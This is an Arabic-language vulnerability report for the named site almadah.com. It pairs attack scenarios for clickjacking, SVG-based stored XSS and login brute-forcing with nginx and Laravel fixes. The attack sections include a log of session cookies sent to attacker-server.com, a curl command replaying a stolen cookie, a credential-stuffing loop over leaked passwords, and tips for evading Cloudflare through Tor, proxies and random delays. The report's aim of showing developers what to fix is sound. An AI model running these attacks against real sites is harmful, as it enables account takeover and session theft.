الدليل ده بيوضح سيناريوهات استغلال واقعية للثغرات المكتشفة في almadah.com. الهدف هو توضيح خطورة كل ثغرة لفريق التطوير عشان يفهموا ليه الإصلاح ضروري. كل سيناريو مرفق بكود العلاج.
استغلال الثغرات بدون إذن صريح من صاحب الموقع جريمة بموجب قوانين الجرائم الإلكترونية. اختبر بس على بيئات محلية أو بيئات staging الخاصة بيك.
الموقع مالوش X-Frame-Options header، يعني أي موقع تاني ممكن يحط almadah.com جوه iframe ويتحكم فيه. ده بيسمح بهجوم Clickjacking اللي بيخدع المستخدم يدوس على حاجة وهو مش واخد باله.
المهاجم بيعمل HTML page بسيط يحتوي على iframe لـ almadah.com:
بعت الرابط للضحية عن طريق رسالة واتساب، إيميل تصيد، أو بوست على سوشيال ميديا بعنوان جذاب: "عرض حصري: خصم 90% على مواد البناء!"
الضحية يشوف صفحة "سحب على iPhone" زريفة، وبيدوس على الزر الأخضر الكبير.
بسبب الـ opacity 0.0001 على الـ iframe، الضحية فعلياً بيدوس على زر "تأكيد الطلب" أو "إضافة للعربة" في almadah.com اللي موجود وراء الديكوي.
طلب غير مقصود اتعمل! لو الضحية مسجل دخول، الطلب ممكن يتنفذ مباشرة على عنوانه المحفوظ.
لو عرفت إن الضحية مسجل دخول، ممكن توجهه لصفحة "تعديل الملف الشخصي" وتخلي يدوس على حفظ التغييرات - بس الإيميل اللي هيتغير هو إيميل المهاجم:
add_header X-Frame-Options "SAMEORIGIN" always;
add_header Content-Security-Policy "frame-ancestors 'self';" always;
Active eCommerce CMS بيسمح برفع ملفات SVG. ملفات SVG ممكن تحتوي على JavaScript ينفذ لما يتعرض في المتصفح. ده نوع من Stored XSS - الكود المخزن بيفضل موجود في السيرفر وينفذ لكل مستخدم يشوف الصورة.
الملف ده يبدو صورة SVG عادية بس فيه payload JavaScript:
سجل حساب بائع عادي من /shop/registration/verification. ده بيديك صلاحية رفع صور منتجات.
روح لـ "إضافة منتج" وارفع الـ malicious.svg كصورة المنتج. الموقع هيقبله عادي لأن الـ MIME type بيكون image/svg+xml.
أي زائر يفتح صفحة المنتج، المتصفح بيrendrer الـ SVG وينفذ الـ JavaScript جواه تلقائياً.
على سيرفر المهاجم، استلم الـ cookies اللي جات من كل ضحية:
# Server logs on attacker-server.com
GET /steal?c=almadah_almad_session%3Dabc123...%3B%20XSRF-TOKEN%3Dxyz789...
استخدم الـ session cookie المسروق للدخول كالضحية:
# باستخدام curl curl -H "Cookie: almadah_almad_session=abc123...; XSRF-TOKEN=xyz789..." \ -H "X-XSRF-TOKEN: xyz789..." \ https://almadah.com/user/profile # أو في المتصفح - افتح DevTools > Application > Cookies # غيّر قيمة almadah_almad_session للقيمة المسروقة وا refresh
الموقع بيستخدم Laravel CSRF protection بـ XSRF-TOKEN cookie. لأن الـ XSS بيشتغل من نفس النطاق (Same-Origin)، المهاجم ممكن يقرأ الـ CSRF token من الـ meta tag ويستخدمه لعمل requests حقيقية:
بمجرد تغيير الإيميل لإيميل المهاجم، بقى ممكن يطلب "نسيت كلمة المرور" ويرسل رابط إعادة التعيين لإيميله هو. كده بياخد تحكم كامل في الحساب.
// في AizUploaderController.php أو مكان الرفع $forbiddenExtensions = ['svg', 'svgz', 'html', 'htm', 'xhtml']; $forbiddenMimes = ['image/svg+xml', 'text/html']; if (in_array($file->getMimeType(), $forbiddenMimes)) { return response()->json(['error' => 'File type not allowed'], 403); }
// nginx - فرض Content-Type على الملفات
location ~* \.(svg|svgz)$ {
add_header Content-Type "text/plain" always;
add_header X-Content-Type-Options "nosniff" always;
}
صفحة تسجيل الدخول /users/login مالهاش rate limiting ولا CAPTCHA ولا account lockout. ده بيسمح للمهاجم يجرب آلاف كلمات المرور تلقائياً من غير ما يتكشف.
في السعودية، أرقام الجوال بتبدأ بـ 05 وتتكون من 10 أرقام. ممكن تجمع أرقام من:
المهاجم بيستخدم أداة زي Hydra أو Burp Intruder أو سكريبت بسيط:
عشان تتجنب كشف Cloudflare، المهاجم بيقلل السرعة:
محاولة واحدة كل 3-10 ثواني (random delay). كده 100 محاولة بتاخد ~15 دقيقة بس.
استخدام VPN أو Tor أو proxy servers عشان الـ IP يتغير كل شوية. Cloudflare بيعدّ الـ requests من نفس IP بس.
استخدام User-Agent حقيقي لمتصفح عادي عشان ما يتكشفش كـ bot.
لو فيه قاعدة بيانات مسربة (breached credentials)، المهاجم بيجرب نفس الإيميل + كلمة المرور المسروقة:
# استخدام ملف credentials مسروق من تسريب قديم for cred in leaked_credentials: email = cred['email'] password = cred['password'] # جرب نفس الإيميل على almadah.com - ناس كتير بتستخدم نفس الباسورد
// routes/web.php Route::post('/users/login', [LoginController::class, 'login']) ->middleware('throttle:5,1'); // 5 محاولات في الدقيقة // في RouteServiceProvider.php RateLimiter::for('login', function (Request $request) { return Limit::perMinute(5)->by($request->ip()); });
composer require anhskohbo/no-captcha // في نموذج تسجيل الدخول {!! NoCaptcha::display() !!} // في LoginController $request->validate([ 'g-recaptcha-response' => 'required|captcha', ]);
// قفل الحساب بعد 5 محاولات فاشلة if (Auth::attempt($credentials)) { // نجاح } else { // سجل المحاولة الفاشلة FailedLoginAttempt::create([ 'ip' => $request->ip(), 'email' => $request->email, ]); // قفل الحساب لو فيه 5 فاشلة في 15 دقيقة $failedCount = FailedLoginAttempt::where('email', $request->email) ->where('created_at', '>', now()->subMinutes(15)) ->count(); if ($failedCount >= 5) { // قفل الحساب لـ 30 دقيقة } }
من تحليل الـ response:
// Laravel CSRF token ظاهر في كل صفحة <meta name="csrf-token" content="ABC123..."> // Active eCommerce CMS إصدار ظاهر <link rel="stylesheet" href="https://almadah.com/assets/css/aiz-core.css?v=7293"> // Bootstrap RTL مع jQuery <script> jQuery(...).modal('show'); </script>
server_tokens off;
# صفحات خطأ مخصصة
error_page 404 /errors/404.html;
error_page 500 502 503 504 /errors/50x.html;
APP_DEBUG=false APP_ENV=production # ملاحظة: في production الـ debug لازم يكون false عشان # ما يظهرش stack traces في صفحات الخطأ
server {
listen 443 ssl http2;
server_name almadah.com;
# ===== إخفاء معلومات السيرفر =====
server_tokens off;
# ===== الهيدرز الأمنية =====
add_header X-Frame-Options "SAMEORIGIN" always;
add_header X-Content-Type-Options "nosniff" always;
add_header X-XSS-Protection "1; mode=block" always;
add_header Referrer-Policy "strict-origin-when-cross-origin" always;
add_header Permissions-Policy "camera=(), microphone=(), geolocation=()" always;
add_header Content-Security-Policy "default-src 'self'; script-src 'self' 'unsafe-inline' https://fonts.googleapis.com; style-src 'self' 'unsafe-inline' https://fonts.googleapis.com; img-src 'self' data: blob: https:; font-src 'self' https://fonts.gstatic.com; frame-ancestors 'self'; base-uri 'self';" always;
# ===== حظر SVG =====
location ~* \.(svg|svgz|html|htm)$ {
add_header Content-Type "text/plain" always;
add_header X-Content-Type-Options "nosniff" always;
return 403;
}
# ===== صفحات خطأ مخصصة =====
error_page 404 /errors/404.html;
error_page 500 502 503 504 /errors/50x.html;
# ===== باقي الإعدادات ... =====
}
// app/Providers/RouteServiceProvider.php RateLimiter::for('login', function (Request $request) { return Limit::perMinute(5)->by($request->ip()); }); // config/session.php 'secure' => true, 'same_site' => 'lax', 'http_only' => true, // .env APP_DEBUG=false SESSION_SECURE_COOKIE=true
| الإجراء | الأولوية | الوقت |
|---|---|---|
| X-Frame-Options + CSP headers | فوري | 10 دقائق |
| حظر SVG في الرفع | فوري | 15 دقيقة |
| server_tokens off | فوري | 2 دقيقة |
| تحديث Active eCommerce CMS | عاجل | 1-2 ساعة |
| Rate Limiting على Login | عاجل | 30 دقيقة |
| reCAPTCHA | قريب | 1 ساعة |
| SameSite cookies | قريب | 10 دقائق |
| security.txt | متوسط | 5 دقائق |